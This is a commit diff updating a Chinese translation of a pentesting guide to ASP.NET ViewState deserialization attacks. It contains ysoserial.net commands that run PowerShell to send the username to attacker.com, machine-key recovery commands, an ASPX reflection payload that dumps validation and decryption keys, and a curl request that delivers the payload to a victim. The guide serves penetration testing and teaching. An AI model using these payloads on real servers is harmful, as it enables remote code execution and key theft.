Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p

This commit is contained in:
Translator 2025-07-22 20:11:38 +00:00
parent 2fa966264d
commit 2bf863e999

View File

@ -6,7 +6,7 @@
## 什么是 ViewState
**ViewState** 是 ASP.NET 中用于在网页之间维护页面和控件数据的默认机制。在渲染页面的 HTML 时,页面的当前状态和在回发期间要保留的值被序列化为 base64 编码的字符串。这些字符串随后被放置在隐藏的 ViewState 字段中。
**ViewState** 是 ASP.NET 中用于在网页之间维护页面和控件数据的默认机制。在渲染页面的 HTML 时,页面的当前状态和在回发期间要保留的值被序列化为 base64 编码的字符串。这些字符串随后被放置在隐藏的 ViewState 字段中。
ViewState 信息可以通过以下属性或其组合来表征:
@ -15,16 +15,16 @@ ViewState 信息可以通过以下属性或其组合来表征:
- **Base64 + MAC消息认证码启用**:
- 通过将 `EnableViewStateMac` 属性设置为 true 来激活 MAC。这为 ViewState 数据提供完整性验证。
- **Base64 + 加密**:
- 当 `ViewStateEncryptionMode` 属性设置为 true 时应用加密,确保 ViewState 数据的机密性。
- 当 `ViewStateEncryptionMode` 属性设置为 true 时应用加密,确保 ViewState 数据的机密性。
## 测试用例
该图像是一个表,详细说明了基于 .NET 框架版本的 ASP.NET 中 ViewState 的不同配置。以下是内容的摘要:
该图像是一个表,详细说明了基于 .NET 框架版本的 ASP.NET 中 ViewState 的不同配置。以下是内容的摘要:
1. 对于 **任何版本的 .NET**,当 MAC 和加密都被禁用时,不需要 MachineKey因此没有适用的方法来识别它。
2. 对于 **4.5 版本以下**,如果启用了 MAC 但未启用加密,则需要 MachineKey。识别 MachineKey 的方法称为 "Blacklist3r"。
3. 对于 **4.5 版本以下**,无论 MAC 是否启用,如果启用了加密,则需要 MachineKey。识别 MachineKey 是 "Blacklist3r - Future Development" 的任务。
4. 对于 **4.5 版本及以上**,所有 MAC 和加密的组合(无论两者都为 true还是一个为 true 另一个为 false都需要 MachineKey。可以使用 "Blacklist3r" 识别 MachineKey。
4. 对于 **4.5 版本及以上**,所有 MAC 和加密的组合(无论两者都为 true还是一个为 true 另一个为 false都需要 MachineKey。可以使用 "Blacklist3r" 识别 MachineKey。
### 测试用例1 EnableViewStateMac=false 和 viewStateEncryptionMode=false
@ -61,7 +61,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
</system.web>
</configuration>
```
由于该参数受到MAC保护因此要成功执行攻击我们首先需要使用的密钥。
由于该参数这次受到MAC保护因此要成功执行攻击我们首先需要使用的密钥。
您可以尝试使用 [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) 来查找使用的密钥。
```
@ -96,41 +96,39 @@ bbot -f subdomain-enum -m badsecrets -t evil.corp
```
![https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
如果你运气好并且找到了密钥,你可以使用 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
如果你运气好并且找到了密钥,你可以使用 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
```
在服务器**未发送**`_VIEWSTATEGENERATOR`参数的情况下,您**不需要**提供`--generator`参数**而是这些**
在服务器**未发送**`_VIEWSTATEGENERATOR`参数的情况下,您**不需要**提供`--generator`参数**但需要提供这些**
```bash
--apppath="/" --path="/hello.aspx"
```
### 测试用例:3 .Net < 4.5 EnableViewStateMac=true/false ViewStateEncryptionMode=true
### Test Case: 3 .Net < 4.5 EnableViewStateMac=true/false ViewStateEncryptionMode=true
在这种情况下不知道该参数是否受到MAC保护。因此,值可能是加密的,您将**需要机器密钥来加密您的有效负载**以利用该漏洞。
在这种情况下不知道该参数是否受到MAC保护。然后,值可能被加密,您将**需要机器密钥来加密您的有效负载**以利用该漏洞。
**在这种情况下,** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **模块正在开发中...**
**在.NET 4.5之前**ASP.NET可以**接受**来自用户的**未加密** \_`__VIEWSTATE`\_ 参数,即使**`ViewStateEncryptionMode`**已设置为_**始终**_。ASP.NET **仅检查**请求中**`__VIEWSTATEENCRYPTED`**参数的**存在**。**如果删除此参数并发送未加密的有效负载,它仍然会被处理。**
**在 .NET 4.5 之前,** ASP.NET 可以**接受**来自用户的**未加密** \_`__VIEWSTATE`\_ 参数,即使**`ViewStateEncryptionMode`** 已设置为 _**始终**_。ASP.NET **仅检查**请求中**`__VIEWSTATEENCRYPTED`** 参数的**存在**。**如果删除此参数并发送未加密的有效负载,它仍然会被处理。**
因此,如果攻击者通过其他漏洞(如文件遍历)找到获取机器密钥的方法,可以使用在**案例2**中使用的[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)命令通过ViewState反序列化漏洞执行RCE。
因此,如果攻击者通过其他漏洞(如文件遍历)找到获取机器密钥的方法,可以使用在**案例 2**中使用的 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) 命令,通过 ViewState 反序列化漏洞执行 RCE
- 从请求中删除`__VIEWSTATEENCRYPTED`参数以利用ViewState反序列化漏洞否则将返回Viewstate MAC验证错误利用将失败
- 从请求中删除 `__VIEWSTATEENCRYPTED` 参数,以利用 ViewState 反序列化漏洞,否则将返回 Viewstate MAC 验证错误,利用将失败。
### Test Case: 4 .Net >= 4.5 和 EnableViewStateMac=true/false 和 ViewStateEncryptionMode=true/false除非两个属性都为false
### 测试用例4 .Net >= 4.5 和 EnableViewStateMac=true/false 和 ViewStateEncryptionMode=true/false除非两个属性都为 false
我们可以通过在 web.config 文件中指定以下参数来强制使用 ASP.NET 框架,如下所示。
我们可以通过在web.config文件中指定以下参数来强制使用ASP.NET框架如下所示。
```xml
<httpRuntime targetFramework="4.5" />
```
另外,可以通过在 web.config 文件的 `machineKey` 参数中指定以下选项来完成此操作
另外,可以通过在 web.config 文件的 `machineKey` 参数中指定以下选项来完成。
```bash
compatibilityMode="Framework45"
```
如前所述,**值是加密的。** 然后,要发送**有效的有效负载,攻击者需要密钥**。
您可以尝试使用 [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)来查找正在使用的密钥:
您可以尝试使用 [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) 来查找正在使用的密钥:
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
@ -155,7 +153,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png)
成功利用 ViewState 反序列化漏洞将导致向攻击者控制的服务器发出带有用户名的出带请求。这种利用方式在一个概念验证PoC中得到了展示,该 PoC 可以通过一个名为 "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" 的资源找到。有关利用过程如何工作的更多细节,以及如何使用像 Blacklist3r 这样的工具来识别 MachineKey您可以查看提供的 [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)。
成功利用 ViewState 反序列化漏洞将导致向攻击者控制的服务器发出带有用户名的出带请求。这种利用方式在一个概念验证PoC中得到了演示,该 PoC 可以通过名为 "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" 的资源找到。有关利用过程如何工作的更多细节,以及如何使用像 Blacklist3r 这样的工具来识别 MachineKey您可以查看提供的 [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)。
### 测试用例 6 使用 ViewStateUserKeys
@ -166,15 +164,46 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
```
### 成功利用的结果 <a href="#poc" id="poc"></a>
对于所有测试用例,如果 ViewState YSoSerial.Net 负载 **成功** 工作,则服务器响应“**500 Internal server error**”,响应内容为“**该页面的状态信息无效,可能已损坏**”,并且我们获得 OOB 请求。
对于所有测试用例,如果 ViewState YSoSerial.Net 有效负载 **成功**,则服务器会响应“**500 内部服务器错误**”,响应内容为“**此页面的状态信息无效,可能已损坏**”,并且我们获得 OOB 请求。
查看 [进一步信息这里](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
### 通过反射转储 ASP.NET 机器密钥 (SharPyShell/SharePoint ToolShell)
能够 **上传或执行任意 ASPX 代码** 的攻击者可以直接检索保护 `__VIEWSTATE` 的密钥,而不是进行暴力破解。一个泄露密钥的最小有效负载通过反射利用内部 .NET 类:
```csharp
<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>
```
请求页面会打印出 **ValidationKey**、**DecryptionKey**、加密算法和 ASP.NET 兼容模式。这些值现在可以直接输入到 **ysoserial.net** 中,以创建一个有效的、已签名的 `__VIEWSTATE` gadget
```bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
```
这个 **key-exfiltration primitive** 在2025年被大规模利用于本地SharePoint服务器“ToolShell” CVE-2025-53770/53771但它适用于任何可以运行服务器端代码的ASP.NET应用程序。
## 参考文献
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
{{#include ../../banners/hacktricks-training.md}}